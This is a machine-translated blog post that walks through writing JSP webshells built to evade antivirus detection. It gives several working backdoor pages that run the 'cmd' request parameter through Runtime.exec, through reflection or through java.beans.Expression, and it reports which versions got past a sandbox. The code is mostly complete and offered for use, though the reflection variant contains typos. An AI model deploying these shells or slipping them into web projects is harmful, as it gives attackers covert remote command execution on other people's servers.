当前位置:网站首页>JSP webshell free -- webshell free
JSP webshell free -- webshell free
2022-07-02 10:55:00 【Crossing the ridge】
It's funny , The people around me mentioned a lot every day during the provincial care , It is said that he is a very powerful boss .
As a result, the video I learned without killing is the big guy's .
Even more outrageous , Brother Cong said that we have met a lot , The last time I sorted out the report for the red team , He's right there .
Sure enough , Internship is good , The legendary bigwigs are around —— Although I don't know , But I still feel good .
Come on , Start learning to avoid killing
First , What is? webshell?
webshell That is to say asp、php、jsp perhaps cgi A code execution environment in the form of web page files , Mainly used for website management 、 Server management 、 Permission management and other operations . Easy to use , Just upload a code file , Visit through website , Many daily operations can be carried out , It greatly facilitates users' management of websites and servers .
What is? RCE?
RCE English full name :remote command/code execute
Divided into remote command execution ping And remote code execution evel.
The reason for the vulnerability : There is no input processing at the input port .
First do the basic reflection
The first is the simplest sentence, Trojan horse :
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

It's too easy to find

And when I wrote the code, the computer virus and threat protection had already begun to react

Now put this sentence on the horse , Write separately
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>

The sandbox passed

however cmd=ipconfig Nothing comes out ,netstat -ano It's also .

Change the code again
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
InputStreamReader reader = new InputStreamReader(in);
BufferedReader input = new BufferedReader(reader);
String s = null;
response.getWriter().print("<pre>");
while ((s = input.readLine())!=null){
response.getWriter().println(s);
}
response.getWriter().print("</pre>");
%>
There's an episode in the middle ,

I can't see why the code reports an error , It turned out that it was because getWrite A less r.


But this is only done and can be echoed , There is no reflection function
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Class<?> rt = Class.forName("java.lang.getRuntime");
Methond grMethod = rt.getMethod("getRuntime");
Methond method = rt.getMethod("exec",String.class);
Object object = method.invoke(grMethod.invoke(null),cmd);
Process process = (Process)object;
InputStream in = process.getInputStream();
InputStreamReader reader = new InputStreamReader(in);
BufferedReader input = new BufferedReader(reader);
String s = null;
response.getWriter().print("<pre>");
while ((s = input.readLine())!=null){
response.getWriter().println(s);
}
response.getWriter().print("</pre>");
%>

BeansExpression No killing
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.beans.Expression" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(),"exec",new Object[]{cmd});
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
StringBuilder sb = new StringBuilder();
response.getWriter().print("<pre>");
InputStreamReader resultReader = new InputStreamReader(in);
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine())!=null){
sb.append(s).append("\n");
}
response.getWriter().print(sb.toString());
response.getWriter().print("</pre>");
%>



边栏推荐
- 2022-06-17
- nodejs+express+mysql简单博客搭建
- js数组常用方法
- MySQL lethal serial question 4 -- are you familiar with MySQL logs?
- "Matching" is true love, a new attitude for young people to make friends
- 14.信号量的代码实现
- AI技术产业热点分析
- Operator-1初识Operator
- 14. Code implementation of semaphore
- Flink calculates topn hot list in real time
猜你喜欢

LeetCode+ 76 - 80 暴搜专题

Is this code PHP MySQL redundant?

Mysql database remote access permission settings

快速做出原型

MongoDB-快速上手MongoDB命令行的一些简单操作

Operator-1初识Operator

【AGC】如何解决事件分析数据本地和AGC面板中显示不一致的问题?

互联网快讯:腾讯会议应用市场正式上线;Soul赴港递交上市申请书

"Matching" is true love, a new attitude for young people to make friends

KS009基于SSH实现宠物管理系统
随机推荐
PCL 点云转深度图像
axis设备的rtsp setup头中的url不能带参
13. Semaphore critical zone protection
"Matching" is true love, a new attitude for young people to make friends
Is this code PHP MySQL redundant?
Thanos Receiver
01 install virtual machine
Shapiro Wilk normal analysis by SPSS
Rapid prototyping
618 what is the secret of dominating the list again? Nike's latest financial report gives the answer
Read H264 parameters from mediarecord recording
Jsp webshell Free from killing - The Foundation of JSP
VSCode工具使用
Mysql database remote access permission settings
6种单例模式的实现方式
02-taildir source
What is the significance of the college entrance examination
转换YV12到RGB565图像转换,附YUV转RGB测试
Kustomize使用手册
The nanny level tutorial of flutter environment configuration makes the doctor green to the end